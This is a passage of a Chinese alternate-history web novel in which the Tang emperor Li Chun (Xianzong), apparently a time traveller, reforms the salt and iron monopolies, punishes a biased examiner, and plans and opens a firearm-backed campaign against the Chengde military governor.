“你这次去剑南三道,去整治敲打一下,是必要的,让官员们还是要怀有廉洁敬畏之心,但是点到即止就好,如果继续再大规模的搞反贪,就等于把一大批人推到对立面了,有些地方实力派就有可能投靠强藩,和朝廷对着干。”
元稹说:“微臣唐突了,臣只是觉得还有那么多贪官,老百姓受苦,心里有些着急。”
李纯又开始鼓励元稹:
“是人就有欲望,官员贪腐是千年以来难以根除的顽疾,元爱卿有反贪之志,这是好的,卢坦升任御史大夫,你就接任御史中丞,这段时间你和卢坦好好调查研究一番,收集线索,找到治贪的好办法,完成削藩后会有你们施展的机会。”
李纯又对白居易说:
“卢从史这个人对门下省的工作没有积极性,其实对朝廷建言献策还是很重要的,你后面就到门下省做青禄大夫,平时多收集意见,多思考,争取为朝廷的大政方针提供好的建议。”
听李纯的话,一下子把两人提拔为四品官,属于越级提拔,两人倍受感动,深深拜谢皇帝的知遇之恩,表示誓死报效朝廷,尽心竭力振兴大唐,然后依依不舍拜别而去。
第35章 盐铁新政
在解决宦官问题之后,李纯重点考虑藩镇问题和经济问题,通过平定刘辟、李锜的叛乱,对其他藩镇形成了威慑,各藩镇目前没有越轨的行为,朝廷的军事准备还不充分,李纯暂时不想挑起事端,所以想先重点解决经济方面的问题。
尽管李纯两次裁减宫中的人员,自己也带头节俭,宫中的开支比德宗时期减少了一半,同时通过鼓励垦荒和上收藩镇的一些财权,增加了朝廷的收入,财政状况得到了很大的改善。
但是,朝廷需要要花钱的地方太多了,训练左右神策军、生产火器、提高官员待遇、改善民生都要用钱,朝廷仍迫切需要进一步增加财政收入。
李纯认为,要发展经济有两条路径,一是通过技术进步,提高生产的效率,提供更多更好的产品,带动经济的发展。
二是深化经济体制改革,通过合理的税收和鼓励政策,减少繁琐的管制和中间的损耗,调动生产者的积极性,进而促进经济发展。
目前来说,想大规模的推进技术进步还不现实,相对可行的是,解除束缚生产力发展的因素,通过调整政策,调动各行业的积极性,增加社会总财富,然后通过征税的方式提高朝廷的收入。
从唐朝目前的情况来看,可以选择增加收入的途径不多,根据新任盐铁转运使程异的提议,李纯和左丞李吉甫、户部尚书李巽反复商讨,决定重点在盐铁方面下功夫。
唐朝实行盐铁专卖,其中盐业从生产到销售都是朝廷派人把持,属于纯垄断行业,所有赚的都是朝廷的;铁铜金银的冶炼与销售也处于垄断状态,由朝廷实行严格管制,从采矿到生产,再到销售,都是经过朝廷批准的人员才能参与,限制人数,从业者要上交很高的赋税。
按理说,这两个行业都属于垄断行业,而且都是百姓的必需品,价格高、利润大,朝廷本应可以收到不少钱,实际情况却并非如此。
因为盐铁价格高,很多百姓买不起,就给私产私卖留下了空间,贩卖私盐、偷炼金属非常严重,同时很多官员随意增加盐铁价格,趁机**牟利,进一步刺激了百姓购买走私的盐铁,导致朝廷实际的收入与预期相差很大。
程异主持盐铁事务后,首先进行盐业改革,朝廷不再垄断,食盐的生产者和销售端只要在朝廷备案,然后就可以自行生产销售,全面放开,朝廷只在流通环节征税。
新政策出来以后,生产者和销售者除了按抽成交给朝廷赋税,其他盈亏都是自己的,所以积极性很高。因为走私者会影响自己的收入,这些合法经营者对走私的极为痛恨,会快速发现线索并举报,朝廷可以很快抓到走私犯。
而且新政策下,破除了垄断,食盐价格降低了不少,走私不再暴利,随时可能会**杀头,盐业走私基本禁止住了。
同时,户部对盐业的税务人员进行严格约束,严防随意加税、侵吞税款、利益输送的情况,确保应该征收的税款足额征收,全部进入国库。
通过盐业改革,生产者、销售者、消费者都得到了实惠,合法的食盐价格下降了很多,非法的走私得到了遏制,深受百姓的欢迎。
由于征税的比例是固定的,避免税官对不同的商人随意加税、减税,堵住了牟利的空间,严格的监管也遏制了**的行为,朝廷的收入大增。
李纯认为,盐业改革就是经济体制改革的典型案例。以前朝廷进行全面垄断,导致价格高昂,百姓深受其害,真正的利益却被走私者和贪官污吏拿走,朝廷得到骂名却没有增加收入。
改革以后,虽然食盐价格降低了,但是通过充分竞争,降低了生产和销售的成本,采取固定比例税收和严格监管,解决了涉事官员徇私舞弊的问题,这样一来朝廷的收入反而增加了很多。
盐业改革的经验出来以后,朝廷又在铁政上推广,把铁铜金银等金属行业,从采矿、到生产、再到销售,朝廷全部放开给百姓,鼓励人们积极介入金属加工行业,朝廷只在采矿、生产、销售过程中,按照生产量和销售额来抽成收税,其他的基本放开。
铁器和其他金属是当时的重要物资,社会需求很大,成本下来了,价格也降低了,老百姓买的就多了,生产量和销售量提高了不少,税收跟着增加了。
通过盐铁新政,食盐和金属都大幅降低价格,方便了人民,税收也增加很多,全国的一年税收由1300万贯,增加到1900万贯,朝廷的的财政实力得到了很大的提升。靠着朝廷财力的支持,左右神策军汰弱留强,采购装备了不少火器。
李纯还想进一步打破限制,让全国的商品都方便流通起来,但是藩镇割据的限制,束缚了这项工作。
元和三年下半年,朝廷为了选拔人才,开始进行第二次科举考试,李纯由于事务繁忙,便任命礼部尚书杨于陵主持科举选士,力求再选拔一批人才上来,没想到这次科举引发了朝廷的一次动荡。
李纯自登基以来,根据个人的观察和喜好使用一些官员,对官员队伍也形成了一些影
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响,这些官员通过两年多的分化,逐步形成了四个派系。
一是循吏派,以李吉甫、裴垍、武元衡为首,主要是一些能办事、会办事的官员,他们的思想观念和处事的方式与李纯契合,深受重用。
二是诤臣派,以李绛、卢坦和大理寺卿陈达封为首,这些人直言敢谏,虽然有些刚直,但是总体还是好的,李纯也愿意用他们。
三是勋旧派,以高郢、郑珣瑜、卢从史、裴均为首,这些人都是前朝遗留的老臣,能力一般,有的甚至还有劣迹,但是由于朝中缺乏人才,而且不愿搞出矛盾,就只能先用着。
四是清流派,以礼部尚书杨于陵、侍郎王涯、翰林学士韦贯之等人为主,这些人能力一般,但是喜欢品头论足、崇尚空谈,李纯对他们不太感冒,也是姑且先用着。
清流派看到循吏派得势,心中非常不满,认为他们虽然有些能力,但是操守不好,做事原则性不强,对皇上投其所好,有时还投机取巧、施展权谋,对李吉甫意见最大。
历朝以来,科举选士都是一个敏感事务,求情请托、徇私舞弊、拉帮结派的情况层出不穷,而且由于主考官的不同,每次科举选士的标准和方向也不同,考官的喜好和偏向决定了选取哪些士子成为进士。
此次科举,恰好是杨于陵作为主考官,王涯和韦贯之参与,他们亲自阅卷,选拔他看好的士子,希望通过科举选士来壮大清流派的声势。
李吉甫作为宰相,也不能免俗,曾向杨于陵推荐自己看好的士子,希望能够录取为进士,没想到杨于陵完全不领情,没有答应。
不仅如此,李吉甫看到杨于陵录取的牛僧孺、李宗闵、皇甫湜等几个进士,在文章里大话连篇、抨击朝政、甚至有人对他人身攻击,非常恼怒。
李吉甫经过了解,杨于陵在录取进士中并非客观公正,其中就有一些人向他请托,被录取成为进士。宰相推荐不行,其他人请托就可以,录取的进士还有攻击自己的,李吉甫更加气愤。
思虑一番后,李吉甫决定向皇帝奏明此次科考的问题,一是杨于陵徇私,一些进士是通过请托得以录取的,二是录取的标准有问题,很多都是空话连篇、只会唱高调的人员,甚至有人进行人身攻击。
李纯收到李吉甫的奏报后,非常重视,责令裴垍进行调查,居然真有李吉甫反应的情况,确实有人向杨于陵请托成功被选为进士,有些士子的言辞激烈,随意评判朝政,不仅批评李吉甫,甚至还批评其他大臣。
第36章 商讨削藩
李纯为了核实情况,专门让人把录取进士的试卷调过来阅看,有几个士子言辞激烈,随意评论朝政,对他们不满意的大臣,指名道姓进行批评,对李吉甫批评的最多,难怪他那么大意见。
李纯认为,士子们很多都是只读了一些书,实践经验不足,难免崇尚空谈,但是杨于陵等人作为考官,竟然把这种人选为进士,就是一个大的问题。
科举选士的目的是选取能够为朝廷办事解决问题的官员,不是选那些没有经验、只会评判他人的清流狂儒。
李吉甫等几个大臣,是有一些缺点,但是人无完人,而且他们都是在为朝廷办事,总体上尽心竭力,事情办得也都不错,这些人士子不看优点,专挑缺点,确实有些人身攻击的意味。
杨于陵等人没有大局观,放任学子对朝廷重臣的攻击,净挑一些所谓清流成为进士,把科举搞成了党争的舞台,李纯极为生气。
李纯自即位以来,深感找几个能办事的大臣不容易,很多人自己不努力干事,反而对用心办事的人品头论足,此风不可长。
李吉甫这个人是有点小毛病,但是他知识丰富,办事认真,能干大事,善于处理各种关系,在一些大是大非上敢于站出来,这都是其他官员不能比拟的。
如何处理此次科举案,就是以后要选择哪一种人的态度,李纯思前想后,还是决定站在李吉甫这一边,出手打击杨于陵等人,李纯需要的是能办事的循吏,不是只会空谈的清流。
李纯在前世时,读明史时对万历年间那一段印象深刻,首辅张居正本身也有一些缺点,但是有魄力、能办事,搞了很多改革措施重振已经衰落的明朝,却引来很多所谓清流的攻击,死后被抄家,搞得大臣都不敢任事,纷纷玩躺平,加速了明朝的灭亡。
李纯回想,自即位以来,自己带着几个重臣,为了解决唐朝存在的问题,想了多少办法,费了多少精力,形势才逐步好转。
这些士子不懂事也罢,杨于陵难道看不见,也不懂吗?居然录取这样的士子成为进士,科举取士还有什么意义?
李纯决定,必须采取措施,摆明态度,下旨取消此次科举取士的结果,将礼部尚书杨于陵外放为岭南节度使,由礼部侍郎王播接任礼部尚书。
至于王涯和韦贯之,李纯觉得他们还不算顽固,只是将他们训斥一番,没有贬官处理。
这两个人后面改变态度,多做事、少议论,逐步取得了李纯的谅解。至此,清流派基本瓦解。
李纯听说成德节度使王士真病重,认为是个解决藩镇问题的契机,干脆暂停科举,等解决藩镇问题后,再改革科举制度。
元和三年底,各地发往朝廷的奏报中,多个大臣提到成德节度使王士真的病重的事,其子王承宗野心勃勃,极有可能自任留后,而后顺势接任节度使。
藩镇问题,一直都是朝廷的头等大事,也是李纯最想解决的问题,放在以前,李纯还会犹豫,现在朝廷的**、经济、军事实力都在上升,决不能放任王承宗接任成德节度使。
为了谨慎起见,李纯决定还是来个集体讨论,收集一下大臣们的意见,摸个底,他本想在含元殿召开大朝会,但是又怕人多泄密,决定次日在宣政殿召集一些重臣讨论。
第二天,由两名宰相领头,十多位朝廷重臣陆续走进宣政殿,向李纯跪拜施礼,而后在殿内依次而列,进行一个小型朝会。
李纯开宗明义:“朕即位之初,众臣皆曰藩镇割据为我朝第一大患,但是三年多过去了,这个问题还是没有解决,今天就是要针对这个问题,好好讨论一下,众爱卿要知无不言,言无不尽。”
李吉甫首先发言:“自陛下登基以来先后讨平刘辟、李锜,其他藩镇莫不顺从,目前势大且顽固的只剩卢龙、成德、魏博、淮西、平卢五个藩镇,以陛下的英明,自当一一讨平。”
李纯道:“当务之急是拿出管用的办法,提出解决这五个藩镇的措施,彻底解决全国藩镇割据的问题。”
裴垍说:“藩镇核心问题的就是各节度使的权力太大,财权、兵权、官员任免权全部在节度使手里,就是象征性的给朝廷交点赋税。近年来,有的节度使或父死子承,或兄终弟及,简直成了家天下,有的干脆连赋税都不交,除了名义上属于朝廷,实际上就是独立王国。要解决藩镇问题,核心的就是把兵权、财权、官员任免权分开,各领一方,相互制衡,由朝廷来决断。”
李纯道:“裴爱卿说到了点子上,就是应该这样,可是五个强藩经营已久,兵精粮足,自然不会轻易让出权力。”
李绛说:“五个藩镇也不是铁板一块,完全可以各个击破,他们内部也有嫌隙,卢龙、义武、成德三个节度使前面就因为利益冲突,发生了好几次争斗,还互相向朝廷告状,而且自陛下令兵部制作火器以后,神策军大量装备火器,战斗力大增,集中力量打掉一两个藩镇不成问题。”
李纯道:“朕听闻范希朝和高崇文在左右神策军大练兵,成效
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不错,改日朕要去看看成果。”
李绛说:“这个不成问题,现在左右神策军经过严格训练以后,老弱病残都淘汰掉了,八万人都是精兵猛将,装备火器后战斗力提高很多,随时可以迎接陛下检阅。”
李纯道:“打仗就是打钱,需要大量物资,李巽,财政和物资状况目前怎么样?”
户部尚书李巽答道:“禀陛下,目前财政收入大增,加上皇上带头节俭,宫中的支出降低很多,增加了很多经费给军队,饷银充足,各项物资准备充分,可以一战。”
李纯赞道:“在经济上,李巽和程异可是立了大功,削藩以后,经济就是主要施政方向,还有你们大展身手的机会。”
门下侍中卢从史说道:“自古以来,应以和为贵,自肃宗以来,因藩镇问题,战争不断,削藩就要打仗,仗打起来就会造成破坏,臣觉得还是维持难得的和平更重要。”
枢密使崔群说道:“卢大人这说的是什么话,藩镇是我朝大患,陛下为了此事殚精竭虑,岂能半途而废?”
礼部尚书王播说:“陛下让大家讨论,都可以各抒己见,战争乃国之大事,确实要慎重而为。”
李纯道:“打还是肯定要打的,但是不可能五个全打,这样朝廷吃不消,现在就是要商讨一个稳健的办法。”
裴垍说:“臣还是比较赞成分化瓦解、各个击破的办法。”
光禄大夫李藩说:“目前成德节度使王世真生病一年未好,病情加重,如果其去世,我们可以以此为突破口,收回成德节度使的任免权,另派朝廷信任的人过去。”
李纯道:“如果收回成德的权力,王承宗势必反抗,其他藩镇会是什么态度?”
李吉甫说:“据臣所知,魏博与成德南边相邻,其节度使田**与王士真关系较好,大概率会支援他,北边的卢龙节度使刘济则跟王士真有仇怨,完全可以争取过来。淮西节度使吴少阳和平卢节度使李师道虽心怀异志,但是表面上还不至于敢跟朝廷作对,而且中间隔着其他藩镇,也无法军事支援,只要处置得当,完全可以打垮成德,甚至可以顺道收服魏博。”
李纯道:“李爱卿的一番宏论切中要害,甚合朕意,那就软硬兼施,一定要借机打一场翻身仗。郑尚书,你们吏部准备一下,朕准备再召几个节度使入朝,具体人选,朕和两个宰相商议以后,明天再通知你。兵部也准备一下,朕打算后天去神策军视察一番。今天就讨论到这里,两位宰相留下来一下。”
第37章 军事准备
李纯留下李吉甫、裴垍,经过一番商议认为,如果要对成德动手,首先要争取的就是卢龙节度使刘济,可从北面牵制成德。
其次要争取的是宣武节度使韩弘,可以牵制淮西和平卢两镇;义武军节度使张茂昭虽然与河北三镇相连,但是与其他藩镇不合,忠于朝廷,可以争取。
进攻成德河东是前沿阵地,河东节度使李鄘必须要召来;为防止吐蕃在西边捣乱,凤翔节度使**则也应召见。
计议已定后,由李吉甫通知吏部,征召以上五位节度使于次月底前入朝觐见皇帝。
第三日,李纯带着李吉甫、裴垍、李绛、崔群到左神策军视察军队,范希朝、高崇文等将领早已得令在大营门口等候,一番行礼后。李纯率领众臣进入左神策军大营检阅军队。
范希朝一声令下,响起一阵擂鼓,左神策军各营带着武器装备,列队向李纯所在的检阅台走来,当第一个方阵是骑兵方阵,携带的是传统的马刀和弓箭,走近检阅台时,响起三声擂鼓,士兵们向李纯大喊三声“万岁!万岁!万岁!”喊声如雷,气势雄壮,战马似乎**以为常,有条不紊的前进。
第二个走来的是突**方阵,士兵每个人拿着一个长约二尺、直径为三寸的铁管,走近检阅台,同样三呼万岁,看到心仪的火器已经装备下去,李纯非常高兴。
再看后面,则是一个战车方阵,马车载着一个大**,**的旁边有三个士兵,其中两个手持黑色铁球,前面一个车夫驱赶着马车,李纯知道这是**炮部队。
再往后上来的是一支工程部队,只见有的人拉着攻城器械,有的人拿着**包,还有抛石机这样的大家伙,让人眼前一亮。
后面又依次走来传统步兵和辎重部队,看到部队各种装备齐全,士气高昂,李纯对削藩之战有了底气。
检阅完部队后,李纯又带人查看几种火器的实战情况,首先查看的是突**。
**和火炮不好制造,郭云等人就按照李纯说的办法,设计制作了突**,其主体是一个两尺长的铁管,后面留有一个点火孔,最后是一个手握的木把。
操作时,先往里面装上**,而后再装一些铁砂,从前面用木棍捣实以后,再将点火孔内的火绳点燃,而后对准目标,只听“砰”的一声,硝烟夹杂着铁砂喷射而出,射向前面的木偶。
李纯等人走近一看,只见几个木偶上密布铁砂,杀伤力还是很大的,是近战的好武器。
李纯等人又看了**炮射击,用的是铁质**,精度和效果比上次有了进步,射击距离远,杀伤力很大。后面又看了用抛石机扔**,一次性扔的更多、更远,是远程攻击的好武器。
最后又看了**包炸城墙的演示,足够的**包炸塌城墙完全没有问题,至于传统的步兵、骑兵,李纯也认真看了一下,由于火器仍然有限,各兵种配合使用,战斗力还是不错的。
阅兵后,李纯召集左右神策军将领,进一步询问情况。目前左右神策军经过整训,各有四万人,均已形成战斗力,其中约一半人装备火器,一半人仍是传统的步骑兵,火器威力大,步骑兵机动性好,搭配使用后,可以更好的发挥作用,对付藩镇问题不大。
最后,李纯深情的对众将领说:
“朝廷花了那么大代价,终于建立起一支精锐的部队,你们为了这支部队的也付出了很多努力。朕相信不久之后,大战就会到来,你们建功立业的机会就在眼前,希望你们能够重振大唐的盛威,打出唐军的气势。”
范希朝、高崇文、李听、李愬等人立即表示,将誓死效忠朝廷,全力以赴,决战决胜,一定会彻底扫平叛逆。李纯心中充满欣慰和豪气,决定继续进行布局施策,大搞一次削藩战役。
次月底,五个节度使陆续进京,这次李纯不再集中宴请,而是逐个召见,面授机宜。
凤翔节度使**则离长安最近,首先到达,李纯召见详谈后,向他强调西部防御的重要性,授予他西面防御使一职,令其统一调度长安以西各部军队,如吐蕃军来袭,统一指挥各部队反击。
**则表示,近期吐蕃还算安稳,长安以西的部队可以阻挡吐蕃可能的进犯,不会影响朝廷的削藩行动。
河东节度使李鄘其次到达,李纯向他详细了解河东的情况后,令其训练士卒,挑选精锐,准备粮草,待朝廷大军抵达后,配合攻击反叛的藩镇,平时注意收集河北藩镇的活动信息,掌握动态,有情况及时报告朝廷。
李鄘表示,自己完全忠于朝廷,听从指派,愿意出2万人马,由乌重胤带领,配合朝廷的平叛行动。
其后到达的是宣武节度使韩弘,李纯对他更加重视,召见时对他很热情,说了不少称赞他的话,赞赏他对朝廷的忠义,勉励他要为朝廷再立新功,如有战事,必须阻断李师道和吴少阳之间的联系。
韩弘表示,自己配合朝廷平叛,义不容辞,但是自己在宣武任
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职多年,希望朝廷能够对其恩赏,也就是借机要升官。
李纯对这种借机提要求的行为,开始是不满的,但是考虑到在这个节骨眼上,如果韩弘倒戈,加入李师道和吴少阳那边,后果不堪设想,于是封韩弘为司徒,加同平章事。
朝廷给了这么大的封赏,韩弘非常满意,当场表示愿意配合朝廷的一切行动。
再后抵达接受召见的是义武军节度使张茂昭,由于义武军比较弱小,经常受到其他藩镇的欺凌,特别是跟成德的矛盾很深,对王士真极为不满。
张茂昭本来就有忠君节义的思想,经过李纯的一番动员,表示自己完全站在朝廷一边,只要朝廷一声令下,义武军可以配合朝廷的大军作战,甚至后面可以听从朝廷的征召入朝。
他的这个表态,让李纯很满意,觉得张茂昭是个忠贞之士,以后可以重用。
最后抵达的是卢龙节度使刘济,卢龙军是一个较强的藩镇,但是历史上跟成德军因为争夺地盘产生过矛盾,而且刘济认为,再强的藩镇也是皇帝的臣子,不赞成和朝廷闹翻。
当李纯表达要解决成德军的问题时,刘济觉得可以借机报复一下成德军,而且可以顺便抢一些地盘过来,表示愿意配合朝廷,向成德用兵。
此次征召五个节度使进京,名为是述职,实际是对成德用兵的先期布置,李纯经过逐个谈话安排后,基本达到目的,就让他们直接回到自己藩镇。
李纯综合各种情况后判断,唐朝和吐蕃目前没有大的恩怨,甚至跟回鹘、南诏也没有什么矛盾冲突,双方爆发战争的可能性不大,加上**则在西部做好了准备,可以预防**的干扰。
李鄘和张茂昭完全站在朝廷一边,其拥有的兵力可以帮助朝廷平叛。韩弘和刘济两个人老谋深算,未必会用全力帮助朝廷,但是只要他们表面上配合朝廷的平叛行动,起到牵制作用就够了。
目前左右神策军拥有八万兵力,可以抽出来六万用于平叛,到时可以从河东、河中、昭义三个镇再各抽调两万,加起来就有十二万。
就算成德和魏博联兵,也就八万军队,朝廷的军队在人数和装备上均占优,完全有胜算。
为了稳妥起见,李纯密令横海节度使程执恭在成德、魏博、平卢之间起到牵制作用,重点防范李师道的平卢军西进,增援成德。
加上韩弘在宣武也可以起到牵制吴少阳和李师道的作用,成德和魏博相对孤立,难以扭转局势。
第38章 征讨成德
不久,来自韩愈和李鄘的报告先后送到李纯手里,汇报同一个信息,就是成德节度使王士真已经因病去世,其子王承宗对朝廷隐秘不发,自称留后,准备控制局势以后,再向朝廷报告。
李纯立即召集几个重臣紧急商议对策,让大臣们先发言。
兵部侍郎李绛说:“陛下,既如此,还等什么,直接从朝臣中选择一人任命为成德节度使,如果王承宗敢于抗旨,直接派兵剿灭。”
裴垍说:“打败一个王承宗应该不成问题,但是削藩牵一发而动全身,其他想让儿子接任节度使的藩镇肯定也会持反对意见,一旦联手,就很难控制。”
李吉甫建议道:“王士真有个女婿,叫薛昌朝,在成德所属的德州任刺史,我们可以搞分化瓦解,将成德的六个州一分为二,任命王承宗为成德节度使,但是只管辖恒、冀、深、赵四个州,任命薛昌朝为德、棣两州观察使。这类似汉武帝的推恩令,可以让各藩镇越分越小,最后无力对抗朝廷。”
李纯道:“吉甫的意见甚好,朝廷任命王承宗为节度使,薛昌朝为观察使,没有打破他们父死子继的惯例,让各藩镇没话说,又实质上削弱了藩镇。”
李绛说:“这样不就打不成了,这样慢慢分化,要等到什么时候?”
李纯道:“推恩令在汉朝就已经推行,他们岂不知其中的后果,估计会想办法抵制,大概率还是会打。”
裴垍说:“这样很好,逼王承宗先动手,朝廷可以名正言顺的去平叛,其他藩镇也没有理由去明着支持他。”
李纯道:“中书省明天就下旨,派人送到成德,任命王承宗为四州节度使,薛昌朝为两州观察使,密切跟踪他们的反应,这边也做好出兵的准备。”
回宫后,李纯还想着派谁为主将合适,没想到第二天就有人禀报右神策军统领高崇文生病无法主持军中事务,请求朝廷派人暂领右神策军事务。
李纯连忙派李承闽代替自己去慰问这个立过大功的老将,李承闽回来禀报说,高崇文病的厉害,肯定无法参加成德的战事。
李纯经过一番考虑,迅速下定决心,由李绛暂领右神策军,计划以范希朝为出征成德的主帅,李听、李愬为副将,做好各项战事准备,待局势明朗以后,立即出兵。
朝廷派出的使者裴武,向王承宗传旨以后,王承宗还有点心虚,摸不清虚实,不敢贸然行动,就接旨领命,表示同意分出两个州给薛昌朝。裴武以为事情顺利解决,高兴地回长安复命。
得知成德被朝廷分割以后,魏博节度使田**非常不满,派人对王承宗说:“成德历来都是六州一体,女婿毕竟是外人,怎么能这样分,今天分成德,明天就会分魏博,我是坚决反对,只要你肯干,我们魏博鼎力支持。”
平卢的李师道和淮西的吴少阳,也派人表示反对分割成德,到时会派兵支持支持成德。
王承宗有些后悔了,六州少了两个,像剜了他一块肉,内心十分不情愿。
王承宗考虑到,有好几个节度使支持自己,朝廷也不能拿自己怎么样,干脆一不做二不休,立即派人捉拿薛昌朝,将他囚禁起来,宣布自己为成德六州节度使,也就是反了。
裴武刚回到长安,王承宗反叛自立的消息也跟着传来,把裴武吓傻了,没想到李纯没有治他的罪,只是说朝廷已有应对措施。
情况已明,李纯任命范希朝为河北招讨使,李听为行军左护军,李愬为右护军,率领左神策军四万人,右神策军两万人,共六万人,出征河北。
李绛带韩泰率领右神策军剩余两万人,拱卫京师,作为战略预备队。**则也召集长安以西的部队,做好防御,防止吐蕃军乘隙来袭。
李纯紧接着下旨,河中、河东、昭义三镇各出兵两万,归范希朝统一指挥,又令义武、卢龙、宣武、横海等镇配合朝廷**敢于反叛的藩镇,还下令让西川、淮南、山南东道各节度使准备兵马,随时做好支援准备。
为了稳妥起见,李纯在宣政殿召集两个宰相和范希朝、李绛、李听、李愬等人,进一步商讨平叛的各项事宜,对战争中可能遇到的情况进行分析预判,提前做好安排。
李纯的原则是,重点打击成德和魏博,但是也要区分先后,各个击破,根除河北的藩镇问题。
这次出兵规模庞大,李纯希望能够一次性解决藩镇问题,要求三个将领,在解决成德和魏博后,如果还有其他企图反叛的藩镇,范希朝可以临机决策,对其用兵。
三日后,朝廷的六万大军集结准备完毕,李纯在长安城东拜将出征,将代表皇
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帝的旌旗交到主将范希朝手里。
出发前,李纯对范希朝和众将说:
“这次朝廷的主力作战部队都交给你们了,你们要不辱使命,扫平叛逆。河东、河中、昭义三镇都是地方部队,装备和左右神策军没法比,他们打配合可以,主攻还是靠你们,打败成德、魏博后,务必将叛乱的头目押送长安,你们主力部队先留在河北,震慑各镇,听从朝廷安排,如果有其他反叛的藩镇,可以一并解决。”
范希朝和众将知道李纯为此准备了很久,深知使命重大,当即表态,会快速抵达河北,奋勇拼杀,击败叛军,早日完成朝廷的削藩大计。
收到朝廷派出大军平叛的消息后,王承宗有点慌了,赶快派出使者,要求各藩镇出兵帮助。同时自己也集结自己的四万多兵力,陈兵西境,准备与朝廷决一死战。
他认为,各个藩镇互相关联,都不会愿意真心帮助平叛,以前的多次削藩之战,最后都是草草收场,这次自己只要能抗住朝廷的征讨,还可以继续当成德的山大王,称雄河北。
魏博的田**是个老狐狸,知道自己这些年成德和魏博都不鸟朝廷,如果灭了成德,下一个就是自己。
他打着帮助朝廷平叛的名义,派出三万主力,向成德边境进发,到达边境以后就开始按兵不动,甚至暗地里运送粮草给王承宗,给王承宗撑腰打气。
卢龙节度使刘济实力雄厚,有兵六万,此次集合三万精锐,从成德的东北方向发起进攻,由于成德的主力在西面,抵挡不住,刘济乘势占领了五六个县,王承宗连忙派人带着财物到刘济那里求和。
刘济和王士真有私怨,所以率先出击,打下一些地盘,见王承宗服软后,觉得真把成德搞趴下,对自己也不利,就暂停用兵,拥兵观望。
义武军节度使张茂昭实力稍弱,感觉自己在各强藩的夹缝里求生存,还不如投靠朝廷,过个安稳日子,于是率领一万五千兵力,从西北方向攻击成德。王承宗早有防范,张茂昭打了几仗,进展不大,暂时僵持。
河东节度使李鄘派出大将乌重胤,昭义节度使韩愈派出大将李元奕,河中节度使张弘靖派出大将刘光颜,各率本部两万人马。先后抵达河北前线,准备粮草,勘察地形,等待范希朝大军的到来。
第39章 伏击成德
由于长安距离河北较远,范希朝大军二十日以后才赶到河北前线。到达前线后,扎下营帐,范希朝立即召集李听、李愬、乌重胤、刘光颜、李元奕等主要将领,到中军大帐中议事。
范希朝开门见山:“我受皇上重托,指挥各路大军,到河北平叛。目前要快速制定一个作战方案,以最快的方式,打垮叛军,解决成德的问题。”
乌重胤说:“兵贵神速,我们共集结十二万大军,具有兵力优势,可以碾压过去,直接扫平叛军。”
李愬则有不同意见:“我们的直接对手王承宗只有四万军队,名义上我们占优,但是他们据城防守,具有地利优势,而且还有田**四万军队作为外援,加起来就有八万,刘济的军队目前驻足观望,吴少阳、李师道共有十万人马,虽有韩弘牵制,但是也是一个重大威胁,我们必须要谨慎行动,想出一个万全之策。”
刘光颜建议道:“义武军节度使张茂昭这个人我比较了解,多次被成德和卢龙欺负,对他们心怀怨恨,长期忠于朝廷,是一支可以利用的力量。”
李听素来谨慎:“虽然我军有数量和火器优势,但是直接攻城消耗太大,而且大量火器**,势必殃及城中百姓,与陛下意图不符。”
李元奕干脆说:“不管大帅怎么决策,我们都听大帅的,你拿主意吧。”
范希朝早已成竹在胸,说道:“各位所说的情况,我都清楚,其他藩镇皇上已经派人牵制,我们的主要对手是成德和魏博,目前先集中兵力快速解决成德,为了减少攻城的损失,我决定采取诱敌深入,围堵歼敌的策略,消灭成德军的主力。”
在具体部署上,范希朝和众将商议以后,决定对各部队进行分工后,分头开展行动。
由李元奕和刘光颜率领本部四万人马,由李元奕、刘光颜协同指挥,相互配合,在南线牵制田**的四万军队,让他们动弹不得,只要魏博军敢前去支援王承宗,两支军队立即前去堵截,卡死王承宗的外援。
张茂昭率本部人马从西北方向攻击成德军侧翼,刘济率领本部人马在东北方向攻击成德后方,程执恭的部队在东部阻截李师道可能的援兵,断绝成德的外援,保障主力进行歼敌。
主力歼敌部队由朝廷的6万人和河东的2万人,共8万人组成,其中由乌重胤率领本部一万骑兵,作为诱敌的兵力,主动出击,激怒敌人,将成德军的主力引诱到预定位置,另外一万人马作为策应。
由左神策军四万大军在预定位置设伏,待成德军到达后,利用火器优势,大量杀伤敌人。
两万右神策军由李愬带领,绕到敌军侧后,在敌军回城的路上再次设伏,通过两次打击,力求全歼敌军。
整个计划,严格控制知晓范围,只有范希朝和几个核心将领详细知道。
张茂昭得到的命令是待朝廷大军与成德军厮杀时,从侧翼进攻成德军;刘济得到的命令是战斗打响后,从后方进攻成德军;程执恭的得到的命令是在东部堵住李师道可能的援兵。
范希朝安排完毕以后,李元奕和刘光颜率领本部人马带到成德南部,与魏博军形成对峙。
范希朝则带着乌重胤和李听选择设伏地点,最后选择在成德西部的一个山谷,在这里开始布置设伏兵力。李愬则命人乔装打扮,出去侦查,在成德军从设伏地点回恒州城的路上,找到一个合适的二次设伏地点。
一切安排妥当后,乌重胤带领一万骑兵成德西部各州县四处劫掠,在成德军防守比较薄弱的地方抢夺了大量的财物和辎重,见到成德兵后就刺激辱骂他们,引诱他们来攻。
遇到小股的成德兵,乌重胤直接带兵消灭,碰到大股兵力,乌重胤直接率军逃跑。
王承宗刚开始还比较谨慎,怕中计,不敢贸然出击,但是看到乌重胤的部队抢掠了自己大量的物资,再不阻止,自己将损失惨重,在成德军再无威信可言,于是决定搞一次大规模的反击。
一次,乌重胤带领骑兵又抢掠了不少财物,经过恒州城,当着成德军的面,大摇大摆的撤回。
王承宗率领三万精兵突然出击,企图凭借兵力优势全歼乌重胤所部,乌重胤的部队见状,立马纷纷扔掉财物,按照计划向西奔逃而去。
王承宗岂会放过报仇雪恨的机会,成德军快速追击,个别跑的慢的唐军,成了成德军的刀下鬼。乌重胤的部队一路疾驰而去,似丧家之犬,成德军急于报仇,紧追而去。
不知不觉中,王承宗带兵追到了一个山谷,山谷两侧均是茂密的草木,只有谷底的一条道路可以通行。走在路上,王承宗有点发虚,将部队停了下来。
乌重胤看到成德军只有一半人进入山谷,觉得还要往里引一下,于是就远远的对王承宗骂道:“老子就是抢了你一点财物,东西也丢下还给你了,你还追个屁,赶快滚回去!”
王承宗大骂:“连日来,你们抢了我们不少东西,就想一走了之?老子今天非杀了
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你才解恨。”
乌重胤也骂道:“就你那鸟样,想杀我还嫩了点,有种就过来取我项上人头。”
王承宗麾下一个大胡子将领喊道:“取你人头,何劳主公动手,老子这就去要了你的狗命。”然后策马直奔乌重胤而来。
